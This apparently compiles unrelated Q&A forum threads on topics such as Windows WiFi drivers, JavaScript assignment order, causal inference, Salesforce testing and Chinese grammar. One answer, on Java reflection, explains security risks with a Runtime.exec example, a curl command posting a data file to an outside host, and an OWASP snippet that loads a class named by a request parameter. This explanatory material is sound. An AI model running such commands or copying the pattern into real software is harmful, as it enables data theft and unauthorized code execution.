Windows 8.1 Wireless trouble with Lenovo y580

Question: I have a Lenovo y580 laptop with a Broadcom wireless card which i bought about a year ago, now I have windows 8.1 on it, and my WiFi is completely unpredictable. My laptop worked well with win8 after I installed he official Lenovo drivers, but became unpredictable after I installed 8.1 preview. Now I use the official 8.1 which also came with built in drivers, and the issues are still present. These issues are:

Random disconnects from the wireless network (I mostly see this when I play online which constantly uses the connection)
Not being able to connect to the wireless network, though the password is correct (to both WPA2-PSK network and an open, mac restricted network (I don't know the exact specifications about this, since this is my university's network))
The Networks panel shows the connected status, but the connection is limited, or no internet access
The panel shows the connected status, but if I hover above it, it says unidentified network.

The only temporary solution I found for these problems are restarts. I don't know how and why (though I guess win 8.1 doesn't load up the driver, or loads up the wrong driver) the restart solves it, but after it (or sometimes 4-5) the WiFi works until I turn it off, or put it into sleep. Sometimes the WiFi will still work after a shutdown, but this is quite random.
Another interesting phenomenon when my WiFi is not working is that the WiFi adapter in the network and sharing center (and also the icon on the taskbar) shows this sequence: icon for no network connection(networking device disabled), WiFi disabled, WiFi waiting for connections.
I've read many posts regarding windows 8.1 and WiFi issues, though I didn't find anything that fixed my problem. I tried updating it from device manager, disabling it and installing the Windows 8 driver (since on the Lenovo site, there are no Broadcom drivers for windows 8.1, saying it is built in), experimenting with other Broadcom 802.11 drivers, disabling power saving for the WiFi, disabling Ipv6, disabling WiFi power saving in the power management settings.
I'm quite sure the problem is software based, since it worked well with windows 8, and as far as I remember with Windows 7 (also worked mostly with Linux when I experimented with it though I had some trouble with it).
Answer: I have exactly the same problem with my Y580 which runs on windows 8.1
If you have installed the Intel PROSet/Wireless driver try to uninstall it, because Windows 8.1 has already included the driver.
See this: http://support.lenovo.com/en_US/downloads/detail.page?DocID=DS037973
Answer: Use the Broadcom driver for Windows 8, instead of the integrated one that comes with Windows 8.1. Personally, this has worked for me in the past.


The way javascript compiler read line of code

Question: i am looking for the order how the compiler reads the code. is it reading the code from left to right or from right to left.
like

var a=b=c=100;

in above code which variable will be declared first how the value will be assigned.?
Comment: Are you really asking how the compiler reads the code, in an interpreted language?
Comment: In the example you provided only one variable is declared (i.e. `a`). It is assigned the value `b` which is assigned the value `c` which is assigned the value `100`.
Answer: Let's consider the example you provided:
var a = b = c = 100;

This is equivalent to:
var a;   // declare a

c = 100; // assign 100 to c
b = c;   // assign 100 to b via c
a = b;   // assign 100 to a via b

The thing is that in JavaScript if you assign a value to variable that you haven't declared then that variable becomes a global variable. That's the reason the above code works. However, it could also cause problems like in this example:

console.log("a", typeof a); // undefined
console.log("b", typeof b); // undefined
console.log("c", typeof c); // undefined

function foo(x) {
    var a = b = c = x;
}

foo(100);

console.log("a", typeof a); // undefined
console.log("b", b); // 100
console.log("c", c); // 100

What you really want to do is:
var a = 100, b = a, c = b;

This is equivalent to:
var a, b, c; // all variables are hoisted

a = 100;
b = a;
c = b;

In JavaScript variable declarations are all hoisted to the top of the current scope (function scope for var and block scope for const and let). However, assignments happen in order from left to right. Variables which are declared but not assigned a value yet have the value undefined.
Answer: The following assignemt:
var a=b=c=100;

is equivalent to the following assignment:

var a = (b = ( c= 100 ));
console.log(a);
console.log(b);
console.log(c);

That being said it seems that the mulitple assigment is right associative.
Answer: From MDN docs:

Assignment operators are right-associative, so you can write:
a = b = 5; with the expected result that a and b get the value 5. This
is because the assignment operator returns the value that it assigned.
First, b is set to 5. Then the a is also set to 5, the return value of
b = 5, aka right operand of the assignment.

So for  var a=b=c=100;
first c, then b and then a will be assigned to 100.
Comment: the thing Assignment operators are right-associative is bit new for me.now i gonna explore that..Thanks


Wishing Non-Muslims on their festival without any intention

Question: I was wondering if we can wish non-muslims on their festival and I came upon this previously asked question on this platform Can we wish non-Muslims "happy holi", "happy Diwali", etc.? where the same thing is asked but here I want to refine the question a little more by asking that if we can wish a non-muslim on their festival without having a true intention behind while wishing them just for the good relations and cordial reasons.
Answer: When we say "Wishing you a happy _______", we are just wishing them happiness on the said day. We need not study the history of the celebration or whatever purpose they are celebrating it, it is their duty to study that and we need not have to worry why they are celebrating. Just like we muslims celebrate 2 eids and people of other faith wish us happiness on that day we just reciprocate it on their celebrations days.

When a (courteous) greeting is offered you, meet it with a greeting
still more courteous, or (at least) of equal courtesy. Allah takes
careful account of all things. Quran 4:86

For example, a non muslim who wish us on Eid ul Adha may be a vegatarian who do not believe that the sacrifice of animal is good but he may still wish us a happy Eid. So we need not have to believe in their religion to just wishing them happiness on their celebration day.
This is just my understanding from my study, use your own study or ask a learned scholar about this issue.
Comment: Yeah, I agree with this.
Comment: I'll keep this question open in case some one else can come up with a better and definite answer.
Comment: you can wait for 2 days after than you can select my answer. I am desperate to make my points above 1k.


Causal inference from a cross sectional study design

Question: As far I know, causal inference can be made only from longitudinal study designs. Is there any way to make causal inference from a cross sectional study design? If yes, how can I do this? Please share if any literature is available.
Comment: It would be helpful if you provided some background about you and your problem. For instance, if you're a CS person with a strong math background, I would recommend Judea Pearl's book. If you're a social scientist, I would recommend something like the new Imbens and Rubin book on causal inference.
Comment: I have a cross sectional survey data on childhood malnutrition and social, demographic, health and economic status variables. From this I want find out the causal relationship of these variables with malnutrition.
Comment: Given cross-sectional, non-experimental data, you're essentially left with "regression adjustment" (i.e.:  controlling for everything relevant -- unlikely to be possible) and with instrumental variables designs.  IV's are often not available, and depend on context.  Regression discontinuities are similar to instrumental variables designs.  You can try to google each of these things.  From experience, one can learn a lot about applied statistics by patiently trying to apply statistics to a particular problem.  But there is no guarantee you'll be able to answer the question you started with.
Answer: To quote John Tukey:

The combination of some data and an aching desire for an answer does
not ensure that a reasonable answer can be extracted from a given body
of data.

That is, there does not exist a statistical method that is a simple as
causal_effect y x, int_validity="high" ext_validity="high"
If any one claims to have something like this, it's most likely snake oil. In some special settings, you can occasionally learn something about some types of causal effects from a cross-section, but your description is much too vague to recommend a particular course of action.
To start down this road, I would take a gander at:

Lance, P., D. Guilkey, A. Hattori and G. Angeles. (2014). How do we
know if a program made a difference? A guide to statistical methods
for program impact evaluation. Chapel Hill, North Carolina:
MEASURE Evaluation.
Morgan, Stephen L. and Christopher Winship. 2015. Counterfactuals
and Causal Inference: Methods and Principles for Social Research
(Second Edition, Revised and Enlarged). Cambridge: Cambridge
University Press.

The first is an accessible free pdf, the second is a more challenging book.
Comment: This is the answer to the OP's question.
Answer: You could also use pcalg package if you are interested in network analysis(graphical modeling) and creating directed causal networks. pcalg has several algorithms  for observational(cross sectional) data.
With assumption of no hidden variable, you could use "pc" algorithm in the package to estimate the equivalence class of a directed acyclic graph (DAG) from observational data. Depending on your variable having Gaussian distribution, discrete(ordinal) or binary you could use different conditional independence functions in the package.
for example using the database that comes with the package(gmG) you could do the following for the above mentioned 3 types of variables (these are modified examples from package pdf):
library(pcalg)
## Using Gaussian Data
##################################################
## Load predefined data
data(gmG)
n <- nrow (gmG8$ x)
V <- colnames(gmG8$ x) # labels aka node names
## estimate CPDAG
pc.fit <- pc(suffStat = list(C = cor(gmG8$x), n = n),
indepTest = gaussCItest, ## indep.test: partial correlations
alpha=0.01, labels = V, verbose = TRUE)
if (require(Rgraphviz)) {
## show estimated CPDAG
## par(mfrow=c(1,2))
plot(pc.fit, main = "Estimated CPDAG")
## CPDAG stands for completed partially directed acyclic graph(CPDAG) or
## basically what pc algorithm computes for you.
}
##################################################
## Using discrete data
##################################################
## Load data
data(gmD)
V <- colnames(gmD$x)
## define sufficient statistics
suffStat <- list(dm = gmD$x, nlev = c(3,2,3,4,2), adaptDF = FALSE)
## estimate CPDAG
pc.D <- pc(suffStat,
## independence test: G^2 statistic
indepTest = disCItest, alpha = 0.01, labels = V, verbose = TRUE)
if (require(Rgraphviz)) {
## show estimated CPDAG
## par(mfrow = c(1,2))
plot(pc.D, main = "Estimated CPDAG")
## plot(gmD$g, main = "True DAG")
}
##################################################
## Using binary data
##################################################
## Load binary data
data(gmB)
V <- colnames(gmB$x)
## estimate CPDAG
pc.B <- pc(suffStat = list(dm = gmB$x, adaptDF = FALSE),
indepTest = binCItest, alpha = 0.01, labels = V, verbose = TRUE)
pc.B
if (require(Rgraphviz)) {
## show estimated CPDAG
plot(pc.B, main = "Estimated CPDAG")
## plot(gmB$g, main = "True DAG")
}
###########


Is It possible to stake an nft on chain

Question: Is there a way I can use smart contracts to stake nfts and back them with ada tokens. Similar to staking ada except also holding the nft in like a gallery or something.
Answer: No, this is because there is no way to know how much Ada the NFT is worth as far as the staking protocol is concerned.
Ada staking works with a 1 Ada = 1 Vote in deciding who mints the next block, so having 1 NFT = XXX Ada would be impossible to know without an Oracle of some kind.
Answer: "Staking NFT's backed by ADA tokens" is almost tautological. You can already think of your key pairs as non-fungible assets that are created and get "assigned" ADA (and other assets) when said ADA is deposited into the associated address.
However, the above is only true for main chain consensus. There is no reason that some other blockchain (or perhaps sidechain???) with a shelley-like consensus mechanism can't have different staking rules that include staking NFT's. In fact, I'd bet future developments in E-governance will result in some kind of proof-of-authority mechanism facilitated by NFTs.

Is It possible to stake an nft on chain


Would it be better to drop a class or receive a D?

Question: I have hit a wall.  I will receive a D in a math course (my major), C- but doubtful.  D is passing according to university.  It would drop my gpa from 3.6 to 3.3. Two more courses after this to take, so a lower gpa might follow.  Does gpa matter when applying for jobs in the math/science field?  Let me say, I am not going to grad school, I am an older return student, so being a single mom, I would like to wrap this Bachelor's in Math up.  Will keeping a D negatively impact job prospects in any way, or having the degree is the only thing that matters?
Comment: Questions primarily about undergraduate studies are out of scope here.  Questions about employer preferences are doubly so, since people answering questions here are mostly graduate students and professors who don't know well what non-academic jobs demand.  That being said, if you don't do better in those other last math classes, as a potential employer looking at your transcript, I would worry that, while you can stay on task, pay attention to details, and follow complicated directions, you might not have the creative thinking and ability to solve novel problems some jobs require.
Comment: Many corporate employers have minimum GPA requirements at numbers like 3.0, 3.25, 3.5, etc.  This D could knock you out of consideration for some positions.  On the other hand, having to stick around for an extra semester will probably cost you a lot of tuition and lost salary.
Answer: Take the D and move on.  It is just one course.
Answer: This question is highly dependent on personal circumstance (which type of job you plan to pursue, other skills you have that employers might want, how competitive the job market is, which university your degree is from, etc.), but based on the information given I would say it is better to just take the D is most circumstances. The completion of a degree in itself indicates to employers that you had the tenacity to stick with a program for an extended amount of time and is overall (usually) one of the most important factors in getting a job that does not require additional schooling.
Many employers do not check transcripts and are instead looking for other skills. If your schooling has prepared you enough in other ways, one bad mark is not likely to be a make or break when it comes to job hunting. However, I think the best thing would be to consider the specific job you are hoping to get after graduation and decide from there.
Comment: Thank you!  I have been working with same employer for 12 years, but I would really love to work for NOAA or another place with similar missions.  I don't think my sisters (both have been in their professions for many years now) have ever looked at their gpa after graduation, let alone remember it.  I am just a bit blindsided and hurt by my inability to solve novel problems like @Alexander Woo mentioned in comment above.  I will carry on and move on, dropping will not help at this point.  Thank you again.
Comment: +1 In particular, I think if you are considered a "senior" applicant (i.e., with relevant work experience), no company will care AT ALL about your grades. If you are considered a "straight-from-school" applicant, some employers might care about your transcript, but others will not. Anecdotally, when I interview candidates for my (small US-based R&D) employer, I do not check grades at all, though some applicants for very junior positions might volunteer relevant coursework and grades.


Is there a technical name for image classification on amount instead of class?

Question: Is there a technical term for an image classifier that classifies on a single class but is classifying on an amount like how full a glass of water is rather than different classes?
Comment: Do you mean class probability distribution?
Answer: Training a system to predict real numbers instead of classes is called regression. If you had a training data where the inputs were images of water glasses and the targets were the amount of water in each glass, then this would be regression task from images of water glasses to the amount of water in each glass. You could call it image regression in the same way you would say image classification, but beyond that, I don't think there's a special term for regression where the inputs are images.
Comment: Ok, thanks. I've seen it called multi label before but that just doesn't sound right. The problem with calling it regression is it sounds like its using the old style linear method of image classification eg with bag of words, SIFT and SURF etc instead of using a convolutional network. I'm using a convolutional network with a euclidean loss instead of softmax to get a single value.
Comment: @ForthTemple Regression, classification, and multi-label classification refer to supervised learning **problems**--predicting real numbers, classes, and binary vectors, respectively, from annotated examples. Linear models and convolutional nets are two types of models that could be used to tackle any of these problems.Yes, you're right, often you can convert a classification model to a regression model by just changing the loss and the output transfer.


Why do some researchers publish preprints?

Question: Why do some researchers publish preprints? I am not a scientist but asked this on a medicine professor. He said that it would be bad for a scientist's career if he or she publishes a preprint and someone takes the results and publishes the article before he or she gets the publication to a journal. Are there some benefits of preprints?
Comment: Related: https://academia.stackexchange.com/q/17145/7734
Comment: It's worse for your career when you have to go back and forth with a journal for 18 months before you can get any credit for the work you've already done. Thanks to liars, any 'IN SUBMISSION' or 'IN PREP' line on your CV is worthless now without a preprint.
Comment: There were good answers but I was thinking the question more on the side that if someone takes your ideas and publishes the results before you.
Answer: Answer to this are going to vary depending on whether you ask a medic, a biolgist, a chemist or a physicist.
In physics pre-prints are just "the done thing". In biology they are becoming more common. In medicine they are still rare.
The easy answer to the question what happens if someone "publishes a preprint and someone takes the results and publishes the article before he or she gets the publication to a journal"? Then the answer is that this is precisely one of the things that a preprint is supposed to protect against - if you have a preprint out, you have evidence that you had the idea before the other person published. Many (although not all) biology journals these days will recognise the priority claim of a preprint. Thus, once you have preprinted, you are unscoopable.
As has been mentioned by @CJR in comments - it is also proof that you have done the work when you apply for a job. Papers in biology often take the full length of a PhD or a postdoc to complete. Thus you are unlikely to have the peer reviewed article out when you apply for a job. A preprint allows to you say "look - i really did the work and the paper really is written, even if its not out yet".


html5 videoplayer@ipad: changing the video

Question: i'm still working on my html5 videoplayer w/ flashplayer fallback. it is now part of a bigger kind of widget, that encapsulates tabs, sliders, carousels (extensively using jquery)
focussing on the videoplayer: the user can (repeatedly) pick videos to play from a carousel . once a carousel item is clicked, i put a div w/ a fitting background-image over my videoplayer, so as to have a splashimage working the same for every client. that 'selfmade splashimage' and the current frontitem of the carousel (which was just clicked) then are bound to the load() method of the video. obviously there's a lot of stuff happening in between: i check for support of <video> and support of formats (mp4, ogv). i also fade in and out a bunch of stuff. that was a short version of it. and it's all working pretty okay on all the browsers i tested. it IS somewhat working on the ipad as well BUT:::
when i click my splashimage/playbutton ( -> triggering the load() method) the ipad wont play nor load my video RIGHT AWAY. the videoplayer stays black. however, when i click (trigger load()) a few more times, at some point it will start to work as planned.
the ipad works fine on the w3 html5 video events page. so i copied that page for my purpose, replaced a video with one of my videos and it gives me the FAULTY behaviour. so the problem are my videos, aren't they? the videos are currently hosted on a non-streaming server, is that the problem? my knowledge on that subject is really narrow.
sorry for not including any code and talking very general and abstract about the whole thing but i hope it suffices.
EDIT::: problem (kind of) solved. apparently the server the videos were hosted on, was causing the problems -_-
Answer: Could it have something to do with this: how to get your HTML5 MP4 video file to play before being fully downloaded as it could be downloading the video, hence the wait.
Comment: thanks a lot, that actually DID help me with a big problem i had in IE9. unfortunately it didn't solve my ipad problem. working on that...


How can I find the name of a Package?

Question: I want to create links to software within Software Center using the APTURL - However, I'm not sure how to find out the true "package name". What is the easiest way to discover a package's name for use with the APTURL or apt-get command?
Answer: You can search for package names using the command line and the apt-cache command.  For example, enter the following command to find out what the package name is for "firefox":
apt-cache search firefox

If you get a long list of results, you can view (pipe) the results in a viewer:
apt-cache search firefox | less

or a text file:
apt-cache search firefox > ~/firefox-list.txt

The command apt-cache search searchstring performs a full text search over all the software sources registered on your Ubuntu system. It will search the package names and the descriptions for an occurrence of the searchstring term and will print out the package name and the short description, including virtual package names.
If --names-only is given, then the long description is not searched, only the package name is.  This option usually gives a smaller set of results.
Answer: To create an APT link, open up Ubuntu Software Center ( Applications -> Ubuntu Software Center ), search for and find a package:

Now click Edit -> Copy Web Link or hit Shift+Ctrl+C:

You should now have an APT link in your clipboard, like this: http://apt.ubuntu.com/p/moovida
Answer: You can find the name of a package through the Ubuntu Software Center:

Once launched type the name of the software you wish to find the package name for in the top right search box.

Once you find the software you are looking for select "More Info"

At the bottom of the additional information page you'll find Version information which contains, in parentheses, the name of the package

This is the package name you'll want to use in either apt-get commands or in APTURL links. Also - as demonstrated in the above picture - the package names of available add-ons are listed in parentheses next to each respective add-on.
Answer: How about just using:
aptitude search <search_terms>

And then you will have some info to use.
Comment: the output was much better  than "apt-cache search "
but in my case, I should first install "aptitude" by this command:
sudo apt install aptitude
Answer: Use apt-cache search to find the package name of a package in the default Ubuntu repositories that is installable by apt. For example search for an Nvidia proprietary graphics driver that has the '455' version number somewhere in its package name (including in the middle of the package name).
apt-cache search 455

Search for a package with a name that includes '455-generic' (including the hyphen character in the package name).
apt-cache search 455-generic

Search for a package with a name that starts with 'postgresql-12-'.
apt-cache search "^postgresql-12-"

The caret character ^ in  "^postgresql-12-" indicates that the package name starts with postgresql-12-
Search for a package with a name that ends with '455'.
apt-cache search 455$

The $ character in  455$ indicates that the package name ends with 455
Search for a package with a name that contains both 'docker' and 'client'.
apt-cache search docker | grep client

How can I find the name of a Package?


Main character with indestructible armor who fights dragons, and later learns he is one

Question: The main character gets some armor, which makes him basically invincible, for the purpose of killing dragons.  Later on the he learns that he is actually a dragon with a powerful spell cast on him to keep him in a humanoid (elf I think) form.  He breaks the spell and becomes a dragon, then gets some kind of dragon armor that makes him more powerful, to fight evil dragons. It may have been a trilogy, or even six books.
Answer: I believe this is Mystara: The Dragonlord Chronicles Book Series by Thorarinn Gunnarsson.  This sounds like the plot of the first book in the series:  Dragonlord of Mystara.

The main character is an orphan who gains the armor of the DragonLord.  Due to their fear of a prophecy and the powers of the Dragonlord, dragons try to find and kill the main character.  Eventually, we learn that he is actually a dragon himself and destined to be the dragonking.


How to set UserInfo.getUserId() to null?

Question: I'm new to Salesforce and I need set userId variable Id userId = UserInfo.getUserId() to null in order to test it. How can I do that?
Comment: You cannot set system variables, however, you can set ```Id userId = null;``` directly in your test and do not use ```UserInfo.getUserId()```.
Comment: Welcome to SFSE! Please take the [tour] and read [ask]. Asking the same question multiple times is discouraged. I closed your other question as a duplicate because it was the same in substance as this one. Marking an answer as "accepted" is generally taken to mean that your problem has been solved, and discourages other people from adding their own answers. Generally, you can add comments to ask for additional information, though there's a fine line between "help me understand your answer", and asking something that should be a separate question.
Comment: Your code should never have to compare the result of UserInfo.getUserId() to null hence there's no need to test for it in a testmethod.
Answer: You can't change the behavior of UserInfo.getUserId() method, it always returns Id of the user who started the context execution.
However, you could set it to null - Id userId = null;.
If your logic depends on the Id and it could be null and you need to test it - just declare userId as a variable of a class and make it @TestVisible, then set it to null during a test.
Answer: The answer to this is complicated, as commented by @mariia-illarionova you can not directly change the value of UserInfo.getUserId() thats because its a readonly property learn about that here (getter only). If you are serious about getting this done you would need to create a wrapper method to get UserInfo.getUserId(). Second you will need to inject a mock version of the method to the class from your test. Most people use Interfaces but there are other ways Interfaces are just the way to go in my opinion. Let me show you an example.

public interface UserOverrides {
    string getUserInfo();
}

public class UserWrapper implements UserOverrides{
    public string getUserInfo(){
        return UserInfo.getUserId();
    }
}

public class UseUserWrapper{
    private UserOverrides userOverride {get;set;}

    public UseUserWrapper(UserOverrides userOverride){
        this.userOverride = userOverride;
    }

    public void someAction(){
        System.Debug(this.userOverride.getUserInfo());
    }
}

@isTest
public class testUserWrapper{

    @isTest
    public testSomething(){
        UseUserWrapper useUserWrapper = new UseUserWrapper(new UserOverridesMock());
        useUserWrapper.someAction();
    }

    public class UserOverridesMock implements UserOverrides{
        public string getUserInfo(){
            return null;
        }
    }
}

As you can see it is quite the complicated answer, but dependency injection is a powerful tool especially for when it comes time to write unit tests. You can see from the code example that instead of using the UserWrapper class I am using a different implementation of UserOverrides in my test and passing it into UseUserWrapper. You can read about Interfaces here


Which one is correct? 桂林的冬天 or 冬天的桂林

Question: I came across to this sentence somewhere,
我不喜欢冬天的桂林
Meaning "I don't like Guilin's winters"
I wonder if it would be better to say
桂林的冬天 instead of 冬天的桂林?
Answer: Both are correct. There is no "better" because they both have very different meanings.
In 我不喜欢桂林的冬天, you are referring specifically to "the state of the weather" only; i.e. how you dislike the winter period in Guilin; like for example it rains non-stop, (which incidentally happened when I visited years ago)
In 我不喜欢冬天的桂林, you are not talking about the weather, but "the dreadful condition of Guilin itself", i.e. how you dislike Guilin city during winter time; like for example the smaller shops close earlier.
Comment: 我不喜欢桂林的冬天,但我喜欢桂林的春天和秋天。我不喜欢冬天的桂林,但我喜欢冬天的北京和上海。
Comment: I think they mean the same thing. I prefer 桂林的冬天, but it might be just me.
Answer: I agree with @Wayne Cheah both are correct. Another way to understand these two sentences is by Chinese sentence structure, the majority structure is
Subject + Predicate + Object, adjective/complement words are used to dress up Object. so parse these two by format.
我不喜欢桂林的冬天

Mainly part: I(subject) + dislike(predicate) + winter(Object/Target)
桂林的 is an adjective for winter which is limited to the weather location. So u dislike the winter of Guilin, but maybe u like the winter of Jinan or somewhere.

我不喜欢冬天的桂林

Mainly part: I(subject) + dislike(predicate) + Guilin(Object/Target)
冬天的 is an adjective for Guilin. So u dislike Guilin in winter, but maybe u like Guilin in summer,
Comment: Since this question/answer are in English, I'll point out that this distinction is virtually identical in English. "I don't like 冬天的桂林=Guilin in the winter [but maybe I like it in other seasons]" vs "I don't like 桂林的冬天=the winter in Guilin [but I like the winters elsewhere OR I like other things about Guilin]." The only real trick is that Chinese can use the [genitive case marker 的](https://en.wikipedia.org/wiki/Genitive_case#Mandarin) exactly the same way in both cases, whereas English *'s* is strictly possessive, so "Guilin's winters" works, but "winter's Guilin" sounds odd.
Answer: Actually both are correct with different meanings.
桂林的冬天=Winter of Guilin. You're talking about Winter and Guilin serves as an adjective.
冬天的桂林=Guilin in Winter. You're talking about Guilin and Winter serves as an adjective.
So as you come across 我不喜欢冬天的桂林, it is actually meaning "I don't like Guilin in Winter."
(I am Chinese tho. I'm pretty sure this would help you distinguish difference between those to sentences.)
Answer: It's not the same thing.I'll explain by giving examples:
我不喜欢桂林的冬天但是我喜欢广州的冬天
I don't like Guilin's winter(cause it's cold and cloudy), but I do like Guangzhou's winter(cause it's warm and sunny)
我不喜欢桂林的冬天但是我喜欢沈阳的冬天
I don't like Guilin's winter(cause it's cold and cloudy), but I do like Shenyang's winter(cause it's beautiful although very cold)
我不喜欢冬天的桂林但是我喜欢夏天的桂林
I don't like Guilin when it's in winter, but I do like Guilin when it's in summer.
Answer: Grammatically, "我不喜欢冬天的桂林" is more correct than "我不喜欢桂林的冬天", though both are not wrong in Chinese.
In English, you would find "I don't like winter in Guilin" is quite weird, and it seems that "I don't like wintertime in Guilin" looks better. And it is the same with Chinese. "冬天" is an abstract noun like Thursday in English. In regular, we usually prefer not to use abstract noun as object(but in Literal way, we do use).
So if you talk to your friend, just "桂林的冬天" "让我不舒服" ="makes me uncomfortable", or "很吸引我"="attracts me". If you write literature and you feel sad, it is elegant to express that something really depresses you and even makes you hate the weather in Guilin, like "我不喜欢桂林的冬天".

Which one is correct? 桂林的冬天 or 冬天的桂林


Dyanamic class load for server side application

Question: Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in reference memory field, but this is unlike in server side (and if server side was compromised this will be a minor problem).
Btw, I am asking because static analises keep acusing as a vulnerabiliy
Answer: Reflection, and Class.forName in particular, can enable execution of arbitrary code.
Example 1: Malicious developer
    Class runtimeClass = Class.forName("java.lang.Runtime");
    Object runtime = runtimeClass.getMethod("getRuntime").invoke(runtimeClass);
    clazz.getMethod("exec", String.class).invoke(runtime, "calc.exe");

Instead of calc.exe it can be for instance some command that destroys something important on your server, or installs a virus, or steals your data like
curl -d "@data.txt" -X POST https://your.site.com/data

Even if you make sure the word "Runtime" is not used in the code, it can be created dynamically. Thus you cannot guarantee that Runtime class is  not used in the reflection code.
Example 2: Honest developer
There can be security problems even if such code is implemented by a honest developer. For instance, you want to simplify the code and build some class or method name dynamically depending on user request, and then execute it. See an OWASP example:
    String ctl = request.getParameter("ctl");
    Class cmdClass = Class.forName(ctl + "Command");
    Worker ao = (Worker) cmdClass.newInstance();
    ao.doAction(request);

In this case malicious user can trigger some method even without having permissions required by business logic.
The goal of static analysis tools is to show you the places in the code that can potentially lead to security problems. You decide if particular case means any risk for you or not.


Will unlinked pages on a WordPress site get indexed by Google?

Question: When you add a page to WordPress but you don't create a menu item for it and you don't have any link on your website to the page, will the page still be indexed by Google?
Comment: Do you want the page indexed or not?     If you don't want it indexed, you need to protected it because Google may just find it anyway.   If you do want it indexed, you should link to it or Google won't rank it very well.   It doesn't have to be from a menu, a link on anywhere on any page or in any post will do just fine.
Answer: Google and Bing bots are not mind readers
If you have a link on your site, another site, or within a sitemap, then only then will it become indexable. It can't index something it can't find.
If you do not want Google indexing the page, then you should use no-index, robots.txt, or both.


How to change size of Zone 2

Question: I'm trying to change the size of Zone 2 to fit next to Zone 1 on a SharePoint page. Right now, Zone 1 is left on the top of the page and Zone 2 on the right side at the bottom of page. I need both the zones next to each other on the top of page. How to move Zone 2 up?
Answer: Assuming you have this open in SharePoint Designer, go to the Code view and look for the HTML Table that surrounds the web part zones (scan the code for WebPartZone elements). You'll notice the width of the  elements that surround the webpartzones has percentage widths. Try altering these and flipping back to the Layout view to see how it changes. By default I think they are split 60%/40% but padding might be pushing one of the two to become too big.
Comment: I should have mentioned that this is for a blog page--Zone 1--Navigation. I made the width smaller and it added a horizontal and vertical scrollbar. But I only want the vertical scrollbar. Do you know how I can make the horizontal disappear????

How to change size of Zone 2


Disabling Web camera

Question: My Eee PC comes with a Web cam, which I never use. How can I ensure that it is effectively disabled, so that no software can use it?
Comment: Nothing in software will make you as sure as a bit of opaque tape stuck over it.
Comment: @Ulrich Schwarz: A sticker works quite as well, plus people don't look at you as if you're wearing a tin-foil hat ;)
Comment: Related: [Can webcams be turned on without the indicator light?](http://security.stackexchange.com/q/6758)
Answer: modprobe -r uvcvideo should remove the webcam module temporarily (without the need for reboot). You can add that to /etc/modprobe.d/blacklist.conf to make it permenant. Please check whether the above command works before adding.
uvcvideo is the module for my Linux. Yours could be different. Try running lsmod | grep uvcv if you face any problems.
Answer: Run:
gksu gedit /etc/modprobe.d/blacklist.conf

Add
blacklist uvcvideo

at the bottom. Save the file and quit the text editor.
Answer: You can disable the kernel drive module responsible for it, which is most cases is uvcvideo. The modprobe let's you enable and disable kernel module, therefore, you can disable your webcam like so:
modprobe -r uvcvideo

And enable it again like this:
modprobe uvcvideo

You can also check whether or not the module is actually disable looking for it using lsmod, which shows the status of modules in the kernel.
lsmod | grep uvcvideo

The output should be similar to this when the module is enabled:
uvcvideo               98304  0
videobuf2_vmalloc      20480  1 uvcvideo
videobuf2_v4l2         24576  1 uvcvideo
videobuf2_common       49152  2 videobuf2_v4l2,uvcvideo
videodev              225280  3 videobuf2_v4l2,uvcvideo,videobuf2_common
mc                     53248  4 videodev,videobuf2_v4l2,uvcvideo,videobuf2_common

And when it is disabled no occurrences to uvcvideo should be returned from the command.

Disabling Web camera


Arc Welder app: Launch App, Test, and Download Zip buttons missing

Question: My Arc Welder app has been broken for some time now I can't find any other questions on how to fix this so I thought I would ask myself. my arc welder is missing the "Launch App", "Download Zip", and "test" buttons. it has been broken for some time now. it has worked in the past but I don't know exactly when it stopped working. I don't believe that it became broken from an update to the app because I've seen other people that have it working and I haven't done anything to anything that I could think of related to the app except I have tried a lot of flags in "Chrome://flags" but because none of those have worked I have restored to default and its still broken.
Comment: Honestly amazed it is still working in any fashion based on my [research](https://android.stackexchange.com/a/205326/3573).
Answer: I had the same problem. Searched the net and landed in this page. No solution.
I started fiddling around. Tried hitting the TAB button. Success. As the focus moves from the last visible box, the buttons appear.
Have fun.


PROXYSQL configuration over mysql galera replication

Question: can I have same databases connected to two different proxysql configuration?
Answer: Yes, I would think so. In the ProxySQL blog post here there is a reference infrastructure which has multiple ProxySQL instances connected to the same set of database nodes. It also says:

We usually recommend to setup ProxySQL instances on the application boxes for availability reasons

That said, for a Galera cluster, I'm unsure whether the ProxySQL instances agree between themselves which Galera node is the "master" and which are the "slaves" - this is especially relevant if you're using read-write splitting, which is something you may want to do with a Galera cluster in order to avoid certain deadlocks not seen with ordinary MySQL configurations. (See also: Galera's big gotcha for MySQL users.)
Answer: I have upvoted the other answer, and normally I would not send a different one, but I would like to complement with extra information:

Yes, you can do that and it is even a very typical setup, for example to have reads go to one service and write through other, or any other split you want.
The problem with more than one proxysql is that you want to keep its configuration in sync in terms of database awareness- that is not easy, and you may need to setup a separate service for that to avoid different views of your cluster in case of a network split, etc. Many large setups handle that with some high available, consensus-based configuration management service. E.g.: https://github.blog/2018-06-20-mysql-high-availability-at-github/


Explanation on XML Signature

Question: I am reading stuffs on xml signature from a couple of days as it is a part of one of my assignments. Till now, What I understood is We can sign any type of data with it. I have gone through all the elements. When I look at them they all seem to be easy and understandable. But as I go through them deeply, I find it difficult to understand most of them. I mean some of the elements like Signaturevalue,CanonicalizationMethod,transform,etc. So my question is Is there any material which gives detailed explanation on xmlsignature? Which also provides some basic examples for better understanding of concepts.
Answer: You might want to check these websites
XML Security Library
http://www.aleksey.com/xmlsec/
An Introduction toXML Signature and XML Encryptionwith XMLSec
http://www.dcc.uchile.cl/~pcamacho/tutorial/web/xmlsec/xmlsec.html
Signing an XML document using XMLDSIG
http://www.di-mgt.com.au/xmldsig.html
The last one gives almost all necessary detail to implement a basic xml signature with enveloped signature.

Explanation on XML Signature


How do I remove globules of knot resin from my pine shed

Question: I purchased a Norwegian pine shed some years ago and after painting with a water based paint the knots seeped through in significant sized globules which are sticky and problematic to remove.Is there a "solvent" available to overcome this problem?
Comment: I believe turpentine/mineral spirits/white spirit will usually dissolve sap.
Answer: You needed to seal the knots prior to painting. No matter what you do, it will continue to bleed through.
Remove the paint around the knots. Use solvent such as turpentine to remove the sap with a scraper and rags. Seal the knots with an appropriate knot sealer (available at any paint store). Prime the sealed knots, perhaps twice. Repaint the whole surface to even out the coverage.
Sometimes water based primer-sealers are acceptable as "knot sealer"; ask at the paint store or read the label. If this is the case, then the sealing and priming would be the same step.
Comment: Shellac to seal the knots? Or is this not "strong" enough?
